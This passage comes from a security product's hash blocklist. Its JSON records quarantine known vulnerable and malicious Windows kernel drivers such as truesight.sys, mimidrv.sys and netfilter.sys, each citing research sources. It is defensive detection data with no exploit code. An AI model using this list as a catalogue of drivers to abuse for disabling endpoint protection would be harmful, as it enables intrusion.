+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492837Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5737c2db59cb518d8044183fcb75b47c7d238c37cb9ba765b05fc4e1ca2b0829",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b41345cf-b173-5227-b281-571a5a7e7307",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827889Z",
+  "creation_date": "2026-03-23T11:45:31.827891Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827897Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "218a7f2c0c645745a0f8b6df1ff52d61febe127cd7a33d7f163dda98d133745f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b4174591-f45d-59c9-8292-78188af15801",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828685Z",
+  "creation_date": "2026-03-23T11:45:30.828687Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828693Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a3642c31fafc524b24c8ac692913df6ce0548efeca06fb369dc10bb9a95949d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b41e7709-111d-5c2f-81d5-5d5736f616a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973501Z",
+  "creation_date": "2026-03-23T11:45:29.973503Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973508Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c1251784e6f61525d0082882a969cb8a0c5d5359be22f5a73e3b0cd38b51687",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b431e3fb-ee12-5c58-afd1-0fac1005d337",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473748Z",
+  "creation_date": "2026-03-23T11:45:30.473751Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473760Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f7c6346a25d465fbc06c41d841e6a5c7645545448db88793ab29d8e5637fae5",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b437c67d-c183-561c-9f08-ec70d8be090c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826350Z",
+  "creation_date": "2026-03-23T11:45:31.826352Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ed24e54cc6b6954987ba052764ed936ce6cc6644b05ad909b1378142e7c1090d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b44d9faa-4eae-5294-8e2c-3004d0c8609e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142928Z",
+  "creation_date": "2026-03-23T11:45:31.142930Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa5badc3f69d4d48396dc76bf4ae78def57fbda2d459d9365db64da6963bb2e4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b476bf47-5860-557e-9669-282d388d7a90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479437Z",
+  "creation_date": "2026-03-23T11:45:31.479442Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479453Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8a96d43d06fe7e9ddaf6206965b66611d24bb77341a9f0ec29ae9914bf486e8d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b48976aa-b9f2-5c04-ba88-d780c7e7ddd4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479618Z",
+  "creation_date": "2026-03-23T11:45:30.479620Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479626Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bed4285d0f8d18f17ddaa53a98a475c87c04c4d167499e24c770da788e5d45f4",
+  "comment": "Malicious Kernel Driver (aka be6318413160e589080df02bb3ca6e6a.sys) [https://www.loldrivers.io/drivers/a9ab4412-d484-459b-be97-5975f5ab8094/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b4b64ef1-69c0-5715-b9ee-dab23b1ae135",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973287Z",
+  "creation_date": "2026-03-23T11:45:29.973289Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973294Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "262268f21c789c2bdaf1950b556456a9a5114ed5759d806200b0cec107bf76d7",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b4b6f415-60cd-5915-9949-b839668e1aeb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967494Z",
+  "creation_date": "2026-03-23T11:45:29.967496Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967502Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb8e536680732b474a5c26970ace2087667622caa3dd82c1c56731a7c5a1c8ce",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b4c5a55a-a4c8-5d40-8630-7540768cbf1b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150721Z",
+  "creation_date": "2026-03-23T11:45:31.150723Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150729Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e0dd599393c689718f83fc63b98cf42bc62ea27cbd5c9993e845019464e9cc20",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b4d7d834-ba5b-56b4-886b-2891dbb37384",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810219Z",
+  "creation_date": "2026-03-23T11:45:31.810221Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810226Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf3a7dee3a5dcbc237cc2015a0e23a97306f914e502e98d9fcb45af3ddbdef64",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b4de0662-096d-59f6-a3c2-1035309217ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459300Z",
+  "creation_date": "2026-03-23T11:45:30.459303Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459312Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9dbc2a37f53507296cc912e7d354dab4e55541ba821561aa84f74d1bd8346be2",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b4fe044a-e17d-514e-a60b-908a72a16f8e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621938Z",
+  "creation_date": "2026-03-23T11:45:29.621947Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621956Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54231728c29f2d2003ec575729760369bb72be7b656b52b4f02ec198f4ee4dfd",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b504f00d-92f0-5356-9d5b-a684baec31ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832242Z",
+  "creation_date": "2026-03-23T11:45:30.832245Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832250Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "78cb9665367af9bb8e1c49ce7c64fc56f2c9580c4781a2d09bbceaa23f9f130b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b5244573-846b-5ca5-ad22-5ab9340253bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495653Z",
+  "creation_date": "2026-03-23T11:45:31.495655Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495661Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "034eb20c8e0409eee548de31e50388ade722fcb2137314d0bbee8e5d5cb0339e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b52d12a0-e5f8-5a1b-99ca-cb2a154bfa94",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463013Z",
+  "creation_date": "2026-03-23T11:45:30.463016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463025Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94ba4bcbdb55d6faf9f33642d0072109510f5c57e8c963d1a3eb4f9111f30112",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b538652b-7c06-56b3-b096-4a34dc9678c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817933Z",
+  "creation_date": "2026-03-23T11:45:30.817935Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817941Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "70afdc0e11db840d5367afe53c35d9642c1cf616c7832ab283781d085988e505",
+  "comment": "Vulnerable Kernel Driver (aka stdcdrvws64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b54b7cd4-1b8a-52ae-ac14-fde3a4e528dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980855Z",
+  "creation_date": "2026-03-23T11:45:29.980857Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980862Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a0e583bd88eb198558442f69a8bbfc96f4c5c297befea295138cfd2070f745c5",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b54f9446-26de-56b2-bafb-b8577d4be1ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151038Z",
+  "creation_date": "2026-03-23T11:45:31.151040Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151045Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f56ccd1a839000a76a839ed9f03ff5778951890eb1fe13c5fcdb2540ed558ae3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b55286d1-6392-5956-921a-2091f976c8a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980447Z",
+  "creation_date": "2026-03-23T11:45:29.980449Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b547368c03e0a584ae3c5e62af3728426c68b316a15f3290316844d193ad182",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b553a1f9-0ece-5f38-ab3d-d3e8e62fe043",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155014Z",
+  "creation_date": "2026-03-23T11:45:31.155016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155021Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29a19128fb0894e5f0f70e24b651007d33a51d430b1ff8ee77cdcb17b925ce95",
